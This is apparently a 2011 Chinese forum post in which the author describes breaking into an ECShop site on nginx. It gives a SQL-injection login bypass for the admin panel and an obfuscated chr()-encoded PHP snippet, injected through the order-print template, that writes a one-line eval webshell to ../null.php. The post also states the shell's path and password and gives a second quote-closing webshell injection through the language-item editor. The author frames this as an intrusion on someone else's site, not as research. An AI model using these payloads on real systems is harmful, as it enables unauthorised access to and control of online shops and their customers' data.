Title:linux系统ecshop拿shell方法 --2011-06-08 13:23
最近弄一个站,对ECSHOP拿shell不了解,导致走了很多的弯路。
nginx/0.8.54的服务器,magic_quotes_gpc开启转义,很多的页面被删除了。
后台有or漏洞,用户"' or 1=1 #"密码随便填.
开始我也不知道,了解得少。
网站的myship.php访问无果,但是库项目管理模版可以编辑,找不到文件路径未果,因为用的是nginx/0.8.54,解析漏洞被修补。
很多拿shell的方法不能用,比如备份x.php.spl,FCK创建X.asp类文件夹。
开始在后台转了很久,一直没有点Flash 播放器管理 上次PHP试试,后面没有想到可以上传PHP的文件,没有限制。
后面再上网找了下其他的方法。
后台-订单管理-订单打印-选择源代码编辑-保存
返回订单列表,随意选择一个订单打印,返回OK,生成一句话成功!
以下是编辑的代码:
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
<?
$filen=chr(46).chr(46).chr(47).chr(110).chr(117).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112);
$filec=chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(117).chr(115).chr(98).chr(93).chr(41).chr(59).chr(63).chr(62);
$a=chr(119);
$fp=@fopen($filen,$a);
$msg=@fwrite($fp,$filec);
if($msg) echo chr(79).chr(75).chr(33);
@fclose($fp);
?>
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
../null.php
<?php eval($_post[usb]);?>
这个是路径和密码。
我还有个想法就是'单引号没有被转义的时候,管理中心- 语言项编辑 编辑其中的PHP页面,闭合单引号.
shopping_flow.php 编辑
输入语言项关键字: 活动列表
活动列表';?><?php @eval($_POST[ok]);?><?'ok
保存
然后访问
http://site/languages/zh_cn/shopping_flow.php
因为试的时候'被转义不能闭合活动列表后面的单引号,所以没成功。
谁有其他方法,可以一起讨论下。